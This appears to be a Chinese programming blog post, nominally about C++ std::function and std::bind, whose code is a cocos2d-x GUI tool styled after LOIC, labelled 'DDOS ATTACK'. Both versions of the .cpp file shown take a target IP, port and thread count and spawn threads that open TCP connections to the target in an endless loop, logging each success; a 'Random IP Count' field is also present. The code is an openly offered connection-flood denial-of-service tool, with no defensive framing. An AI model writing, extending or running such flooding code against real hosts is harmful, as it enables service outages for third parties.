C/C++ std::function && std::bind
*.cpp
{
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 | #include "FirstScene.h" #include "SimpleAudioEngine.h" #include "cocos/ui/UIButton.h" #include "cocos/ui/UIEditBox/UIEditBox.h" #include "SOIL2/SOIL2.h" /* int width, height; std::string fullpath = FileUtils::getInstance()->fullPathForFilename("06a03.jpg"); unsigned char *data = SOIL_load_image(fullpath.c_str(), &width, &height, 0, SOIL_LOAD_RGBA); ssize_t size; data = FileUtils::getInstance()->getFileData(fullpath, "rb", &size); data = SOIL_load_image_from_memory(data,size,&width,&height, 0, SOIL_LOAD_RGBA); if (data == nullptr) { cocos2d::log("%s . path is : %s\n", "path error",fullpath.c_str()); } Image *image = new (std::nothrow) Image(); //cocos2d::Texture2D::PixelFormat::RGBA8888 image->initWithRawData(data, size, width,height, 2); image->setPNGPremultipliedAlphaEnabled(true); //SOIL_free_image_data(data); auto so = Sprite::createWithTexture(Director::getInstance()->getTextureCache()->addImage(image, "key")); //auto so = Sprite::create("res/06a03.jpg"); so->setPosition(visibleSize / 2); so->setScale(1.0f); delete image; this->addChild(so); */ #include "libyuv.h" #include "socket/Private/MemoryPool.h" #include "sqlite/sqlite3.h" #include "socket/Private/Encryption.h" #include "Tools/Tools.h" #include "socket/TCPSocket.h" #include "socket/Private/ThreadPool.h" USING_NS_CC; #define DISPLAY Director::getInstance()->getVisibleSize() #define displayex Director::getInstance()->getVisibleSize() static unsigned long long g_attackCount = 0; Scene* FirstScene::createScene() { return FirstScene::create(); } FirstScene::~FirstScene() { ThreadPool::GetInstance()->stopAll(); } // Print useful error message instead of segfaulting when files are not there. static void problemLoading( const char * filename) { printf ( "Error while loading: %s\n" , filename); printf ( "Depending on how you compiled you might have to add 'Resources/' in front of filenames in FirstSceneScene.cpp\n" ); } // on "init" you need to initialize your instance bool FirstScene::init() { ////////////////////////////// // 1. super init first if (!Scene::init()) { return false ; } std::string ar1( "ar1" ); std::string ar2( "ar2" ); int ar = 100; std::function< void ( int , string, string)> p = std::bind(&FirstScene::OnDDOS, this , std::placeholders::_1, placeholders::_2, placeholders::_3); thread t(p,ar, ar1, ar2); t.join(); auto display = Director::getInstance()->getVisibleSize(); Vec2 origin = Director::getInstance()->getVisibleOrigin(); //背景 auto background = cocos2d::LayerColor::create(cocos2d::Color4B(12, 24, 32, 255)); this ->addChild(background); //图标 string icon( "res/LOIC.png" ); auto sprite = Sprite::create(icon); sprite->setContentSize(Size(260, display.height)); sprite->setPosition(sprite->getContentSize().width / 2, display.height / 2); this ->addChild(sprite); //ddos auto ddosPanel = ui::Button::create(icon, icon, icon); ddosPanel->setScale9Enabled( true ); ddosPanel->setContentSize(Size(260, display.height)); ddosPanel->setPosition(Vec2(sprite->getContentSize().width / 2, displayex.height / 2)); ddosPanel->setOpacity(10); ddosPanel->setName( "ddosPanel" ); this ->addChild(ddosPanel); //ddosPanel->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this)); ddosPanel->addClickEventListener(std::bind(&FirstScene::OnCallback, this ,std::placeholders::_1)); string file( "res/Button.png" ); auto b = cocos2d::ui::Button::create(file, file, file); b->setColor(Color3B(24, 48, 64)); b->setPosition(display / 2); b->setPressedActionEnabled( true ); b->setContentSize(Size(200, 100)); b->setTitleColor(Color3B::BLUE); this ->addChild(b); this ->addChild( this ->CreateDDOS()); return true ; } Node *FirstScene::CreateDDOS() { auto layer = LayerColor::create(cocos2d::Color4B(24, 48, 64, 255)); layer->setContentSize(Size(300, DISPLAY.height)); layer->setPosition(DISPLAY.width, 0); layer->setName( "ddos" ); layer->setTag(0); auto label = Label::createWithTTF( "DDOS ATTACK" , "fonts/arial.ttf" , 30.0F); label->setPosition(layer->getContentSize().width / 2, layer->getContentSize().height - label->getContentSize().height / 2); label->setSkewX(10); layer->addChild(label); int space_x = 10; //ip auto IP = ui::EditBox::create(Size(260, 30), "res/input.png" ); IP->setPosition(Vec2(layer->getContentSize().width / 2 + 20, label->getPosition().y - label->getContentSize().height / 2 - IP->getContentSize().height / 2 - space_x)); IP->setText( "127.0.0.1" ); //IP->setFont("fonts/arial.ttf", 20); IP->setName( "IP" ); layer->addChild(IP); auto IPLabel = Label::create( "IP" , "fonts/arial.ttf" , 20.0F); IPLabel->setPosition(IPLabel->getContentSize().width / 2, IP->getPosition().y); layer->addChild(IPLabel); //端口 auto Port = ui::EditBox::create(Size(100, 30), "res/input.png" ); Port->setPosition(Vec2(layer->getContentSize().width - Port->getContentSize().width / 2, IP->getPosition().y - IP->getContentSize().height / 2 - Port->getContentSize().height / 2 - space_x)); Port->setText( "80" ); Port->setName( "Port" ); layer->addChild(Port); auto PortLabel = Label::create( "Port" , "fonts/arial.ttf" , 20.0F); PortLabel->setPosition(PortLabel->getContentSize().width / 2, Port->getPosition().y); layer->addChild(PortLabel); //线程 auto Thread = ui::EditBox::create(Size(100, 30), "res/input.png" ); Thread->setPosition(Vec2(layer->getContentSize().width - Thread->getContentSize().width / 2, Port->getPosition().y - Port->getContentSize().height / 2 - Thread->getContentSize().height / 2 - space_x)); Thread->setText( "10" ); Thread->setName( "Thread" ); layer->addChild(Thread); auto ThreadLabel = Label::create( "Thread" , "fonts/arial.ttf" , 20.0F); ThreadLabel->setPosition(ThreadLabel->getContentSize().width / 2, Thread->getPosition().y); layer->addChild(ThreadLabel); //随机IP数量 auto RandIP = ui::EditBox::create(Size(100, 30), "res/input.png" ); RandIP->setPosition(Vec2(layer->getContentSize().width - RandIP->getContentSize().width / 2, Thread->getPosition().y - Thread->getContentSize().height / 2 - RandIP->getContentSize().height / 2 - space_x)); RandIP->setText( "1000" ); RandIP->setName( "RandIP" ); layer->addChild(RandIP); auto RandIPLabel = Label::create( "Random IP Count" , "fonts/arial.ttf" , 20.0F); RandIPLabel->setPosition(RandIPLabel->getContentSize().width / 2, RandIP->getPosition().y); layer->addChild(RandIPLabel); string file( "res/Button.png" ); auto attack = cocos2d::ui::Button::create(file, file, file); //attack->setContentSize(Size(200, 100)); attack->setTitleText( "STARTATTACK" ); attack->setTitleFontSize(15); attack->setPosition(Vec2(attack->getContentSize().width / 2 + 10, attack->getContentSize().height / 2 + 10)); attack->setPressedActionEnabled( true ); attack->setName( "attack" ); layer->addChild(attack); attack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this )); auto StopAttack = cocos2d::ui::Button::create(file, file, file); //StopAttack->setContentSize(Size(200, 100)); StopAttack->setTitleText( "STOPATTACK" ); StopAttack->setTitleFontSize(15); StopAttack->setPosition(Vec2(layer->getContentSize().width - StopAttack->getContentSize().width / 2 - 10, StopAttack->getContentSize().height / 2 + 10)); StopAttack->setPressedActionEnabled( true ); StopAttack->setName( "StopAttack" ); layer->addChild(StopAttack); StopAttack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this )); return layer; } static mutex g_mutexs; void FirstScene::OnCallback(Ref* pSender) { auto node = ((Node*)pSender); //================================== if (node->getName() == "ddosPanel" ) { cocos2d:: log ( "%s" , "ddosPanel" ); auto layer = node->getParent()->getChildByName( "ddos" ); if (layer->getTag() == 0) { auto moveTo = MoveTo::create(0.1f, Vec3(DISPLAY.width - layer->getContentSize().width, 0, 0)); layer->runAction(moveTo); layer->setTag(1); } else { auto moveTo = MoveTo::create(0.1, Vec3(DISPLAY.width, 0, 0)); layer->runAction(moveTo); layer->setTag(0); } } else if (node->getName() == "attack" ) { string IP = ((ui::EditBox*)node->getParent()->getChildByName( "IP" ))->getText(); string Port = ((ui::EditBox*)node->getParent()->getChildByName( "Port" ))->getText(); string Thread = ((ui::EditBox*)node->getParent()->getChildByName( "Thread" ))->getText(); string RandIP = ((ui::EditBox*)node->getParent()->getChildByName( "RandIP" ))->getText(); cocos2d:: log ( "start ddos attack, IP is: %s, Port is: %s, Thread is: %s, Random IP Count is: %s " , IP.c_str(), Port.c_str(), Thread.c_str(), RandIP.c_str()); int count = atoi (Thread.c_str()); ThreadPool::GetInstance()->GetCurConsoleThreadID(); for ( int i = 0; i < count; i++) { ThreadPtr threadPtr; threadPtr.ThreadID = i; threadPtr.ptrThread = std::move(std::shared_ptr< thread >( new thread ([=]( int ID) { static unsigned long long var = 0; static int FPS = 1; static Tools tool; while ( true ) { CHECK(ID); lock_guard<mutex> LG(g_mutexs); static unsigned long long times = tool.GetCurrentTimeMsec(); var = tool.GetCurrentTimeMsec() - times; if (var >= FPS) { int ret = 0; ret = TCPSocket::getInstance()->connect(IP.c_str(), ( short ) atoi (Port.c_str())); if (ret == 1) { log ( "send Success count : %d !!!" ,g_attackCount); g_attackCount++; } else { log ( "send Fail !!!" ); } times = tool.GetCurrentTimeMsec(); } } return ; }, threadPtr.ThreadID))); ThreadPool::GetInstance()->addChild(threadPtr); } } else if (node->getName() == "StopAttack" ) { cocos2d:: log ( "%s" , "StopAttack.................." ); } } void FirstScene::OnDDOS( int ID, string IP, string Port) { std::cout << ID<< " " << IP.c_str()<< " " << Port.c_str() << std::endl; } |
*.h
{
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | /**************************************************************************** Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd. http://www.cocos2d-x.org Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ****************************************************************************/ #ifndef __FirstScene_SCENE_H__ #define __FirstScene_SCENE_H__ #include "cocos2d.h" #include <iostream> #include <string.h> using namespace std; class FirstScene : public cocos2d::Scene { public : static cocos2d::Scene* createScene(); ~FirstScene(); virtual bool init(); // a selector callback void OnCallback(cocos2d::Ref* pSender); // implement the "static create()" method manually CREATE_FUNC(FirstScene); Node *CreateDDOS(); void OnDDOS( int ID, string IP, string Port); }; #endif // __FirstScene_SCENE_H__ |
}
*.cpp ex
{
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 | #include "FirstScene.h" #include "SimpleAudioEngine.h" #include "cocos/ui/UIButton.h" #include "cocos/ui/UIEditBox/UIEditBox.h" #include "SOIL2/SOIL2.h" /* int width, height; std::string fullpath = FileUtils::getInstance()->fullPathForFilename("06a03.jpg"); unsigned char *data = SOIL_load_image(fullpath.c_str(), &width, &height, 0, SOIL_LOAD_RGBA); ssize_t size; data = FileUtils::getInstance()->getFileData(fullpath, "rb", &size); data = SOIL_load_image_from_memory(data,size,&width,&height, 0, SOIL_LOAD_RGBA); if (data == nullptr) { cocos2d::log("%s . path is : %s\n", "path error",fullpath.c_str()); } Image *image = new (std::nothrow) Image(); //cocos2d::Texture2D::PixelFormat::RGBA8888 image->initWithRawData(data, size, width,height, 2); image->setPNGPremultipliedAlphaEnabled(true); //SOIL_free_image_data(data); auto so = Sprite::createWithTexture(Director::getInstance()->getTextureCache()->addImage(image, "key")); //auto so = Sprite::create("res/06a03.jpg"); so->setPosition(visibleSize / 2); so->setScale(1.0f); delete image; this->addChild(so); */ #include "libyuv.h" #include "socket/Private/MemoryPool.h" #include "sqlite/sqlite3.h" #include "socket/Private/Encryption.h" #include "Tools/Tools.h" #include "socket/TCPSocket.h" #include "socket/Private/ThreadPool.h" USING_NS_CC; #define DISPLAY Director::getInstance()->getVisibleSize() #define displayex Director::getInstance()->getVisibleSize() static unsigned long long g_attackCount = 0; Scene* FirstScene::createScene() { return FirstScene::create(); } FirstScene::~FirstScene() { ThreadPool::GetInstance()->stopAll(); } // Print useful error message instead of segfaulting when files are not there. static void problemLoading( const char * filename) { printf ( "Error while loading: %s\n" , filename); printf ( "Depending on how you compiled you might have to add 'Resources/' in front of filenames in FirstSceneScene.cpp\n" ); } // on "init" you need to initialize your instance bool FirstScene::init() { ////////////////////////////// // 1. super init first if (!Scene::init()) { return false ; } auto display = Director::getInstance()->getVisibleSize(); Vec2 origin = Director::getInstance()->getVisibleOrigin(); //背景 auto background = cocos2d::LayerColor::create(cocos2d::Color4B(12, 24, 32, 255)); this ->addChild(background); //图标 string icon( "res/LOIC.png" ); auto sprite = Sprite::create(icon); sprite->setContentSize(Size(260, display.height)); sprite->setPosition(sprite->getContentSize().width / 2, display.height / 2); this ->addChild(sprite); //ddos auto ddosPanel = ui::Button::create(icon, icon, icon); ddosPanel->setScale9Enabled( true ); ddosPanel->setContentSize(Size(260, display.height)); ddosPanel->setPosition(Vec2(sprite->getContentSize().width / 2, displayex.height / 2)); ddosPanel->setOpacity(10); ddosPanel->setName( "ddosPanel" ); this ->addChild(ddosPanel); //ddosPanel->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this)); ddosPanel->addClickEventListener(std::bind(&FirstScene::OnCallback, this ,std::placeholders::_1)); string file( "res/Button.png" ); auto b = cocos2d::ui::Button::create(file, file, file); b->setColor(Color3B(24, 48, 64)); b->setPosition(display / 2); b->setPressedActionEnabled( true ); b->setContentSize(Size(200, 100)); b->setTitleColor(Color3B::BLUE); this ->addChild(b); this ->addChild( this ->CreateDDOS()); return true ; } Node *FirstScene::CreateDDOS() { auto layer = LayerColor::create(cocos2d::Color4B(24, 48, 64, 255)); layer->setContentSize(Size(300, DISPLAY.height)); layer->setPosition(DISPLAY.width, 0); layer->setName( "ddos" ); layer->setTag(0); auto label = Label::createWithTTF( "DDOS ATTACK" , "fonts/arial.ttf" , 30.0F); label->setPosition(layer->getContentSize().width / 2, layer->getContentSize().height - label->getContentSize().height / 2); label->setSkewX(10); layer->addChild(label); int space_x = 10; //ip auto IP = ui::EditBox::create(Size(260, 30), "res/input.png" ); IP->setPosition(Vec2(layer->getContentSize().width / 2 + 20, label->getPosition().y - label->getContentSize().height / 2 - IP->getContentSize().height / 2 - space_x)); IP->setText( "127.0.0.1" ); //IP->setFont("fonts/arial.ttf", 20); IP->setName( "IP" ); layer->addChild(IP); auto IPLabel = Label::create( "IP" , "fonts/arial.ttf" , 20.0F); IPLabel->setPosition(IPLabel->getContentSize().width / 2, IP->getPosition().y); layer->addChild(IPLabel); //端口 auto Port = ui::EditBox::create(Size(100, 30), "res/input.png" ); Port->setPosition(Vec2(layer->getContentSize().width - Port->getContentSize().width / 2, IP->getPosition().y - IP->getContentSize().height / 2 - Port->getContentSize().height / 2 - space_x)); Port->setText( "80" ); Port->setName( "Port" ); layer->addChild(Port); auto PortLabel = Label::create( "Port" , "fonts/arial.ttf" , 20.0F); PortLabel->setPosition(PortLabel->getContentSize().width / 2, Port->getPosition().y); layer->addChild(PortLabel); //线程 auto Thread = ui::EditBox::create(Size(100, 30), "res/input.png" ); Thread->setPosition(Vec2(layer->getContentSize().width - Thread->getContentSize().width / 2, Port->getPosition().y - Port->getContentSize().height / 2 - Thread->getContentSize().height / 2 - space_x)); Thread->setText( "10" ); Thread->setName( "Thread" ); layer->addChild(Thread); auto ThreadLabel = Label::create( "Thread" , "fonts/arial.ttf" , 20.0F); ThreadLabel->setPosition(ThreadLabel->getContentSize().width / 2, Thread->getPosition().y); layer->addChild(ThreadLabel); //随机IP数量 auto RandIP = ui::EditBox::create(Size(100, 30), "res/input.png" ); RandIP->setPosition(Vec2(layer->getContentSize().width - RandIP->getContentSize().width / 2, Thread->getPosition().y - Thread->getContentSize().height / 2 - RandIP->getContentSize().height / 2 - space_x)); RandIP->setText( "1000" ); RandIP->setName( "RandIP" ); layer->addChild(RandIP); auto RandIPLabel = Label::create( "Random IP Count" , "fonts/arial.ttf" , 20.0F); RandIPLabel->setPosition(RandIPLabel->getContentSize().width / 2, RandIP->getPosition().y); layer->addChild(RandIPLabel); string file( "res/Button.png" ); auto attack = cocos2d::ui::Button::create(file, file, file); //attack->setContentSize(Size(200, 100)); attack->setTitleText( "STARTATTACK" ); attack->setTitleFontSize(15); attack->setPosition(Vec2(attack->getContentSize().width / 2 + 10, attack->getContentSize().height / 2 + 10)); attack->setPressedActionEnabled( true ); attack->setName( "attack" ); layer->addChild(attack); attack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this )); auto StopAttack = cocos2d::ui::Button::create(file, file, file); //StopAttack->setContentSize(Size(200, 100)); StopAttack->setTitleText( "STOPATTACK" ); StopAttack->setTitleFontSize(15); StopAttack->setPosition(Vec2(layer->getContentSize().width - StopAttack->getContentSize().width / 2 - 10, StopAttack->getContentSize().height / 2 + 10)); StopAttack->setPressedActionEnabled( true ); StopAttack->setName( "StopAttack" ); layer->addChild(StopAttack); StopAttack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this )); return layer; } static mutex g_mutexs; void FirstScene::OnCallback(Ref* pSender) { auto node = ((Node*)pSender); //================================== if (node->getName() == "ddosPanel" ) { cocos2d:: log ( "%s" , "ddosPanel" ); auto layer = node->getParent()->getChildByName( "ddos" ); if (layer->getTag() == 0) { auto moveTo = MoveTo::create(0.1f, Vec3(DISPLAY.width - layer->getContentSize().width, 0, 0)); layer->runAction(moveTo); layer->setTag(1); } else { auto moveTo = MoveTo::create(0.1, Vec3(DISPLAY.width, 0, 0)); layer->runAction(moveTo); layer->setTag(0); } } else if (node->getName() == "attack" ) { string IP = ((ui::EditBox*)node->getParent()->getChildByName( "IP" ))->getText(); string Port = ((ui::EditBox*)node->getParent()->getChildByName( "Port" ))->getText(); string Thread = ((ui::EditBox*)node->getParent()->getChildByName( "Thread" ))->getText(); string RandIP = ((ui::EditBox*)node->getParent()->getChildByName( "RandIP" ))->getText(); cocos2d:: log ( "start ddos attack, IP is: %s, Port is: %s, Thread is: %s, Random IP Count is: %s " , IP.c_str(), Port.c_str(), Thread.c_str(), RandIP.c_str()); int count = atoi (Thread.c_str()); ThreadPool::GetInstance()->GetCurConsoleThreadID(); for ( int i = 0; i < count; i++) { ThreadPtr threadPtr; threadPtr.ThreadID = i; std::function< void ( int , std::string, std::string)> iss = std::bind(&FirstScene::DDOS, this , std::placeholders::_1, std::placeholders::_2, std::placeholders::_3); threadPtr.ptrThread = std::move(std::shared_ptr< thread >( new thread (iss, threadPtr.ThreadID,IP,Port))); ThreadPool::GetInstance()->addChild(threadPtr); } } else if (node->getName() == "StopAttack" ) { cocos2d:: log ( "%s" , "StopAttack.................." ); } } void FirstScene::DDOS( int ID, string IP, string Port) { std::cout << ID<< " " << IP.c_str()<< " " << Port.c_str() << std::endl; static unsigned long long var = 0; static int FPS = 1; static Tools tool; while ( true ) { CHECK(ID); lock_guard<mutex> LG(g_mutexs); static unsigned long long times = tool.GetCurrentTimeMsec(); var = tool.GetCurrentTimeMsec() - times; if (var >= FPS) { int ret = 0; ret = TCPSocket::getInstance()->connect(IP.c_str(), ( short ) atoi (Port.c_str())); if (ret == 1) { log ( "send Success count : %d !!!" , g_attackCount); g_attackCount++; } else { log ( "send Fail !!!" ); } times = tool.GetCurrentTimeMsec(); } } return ; } |
}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律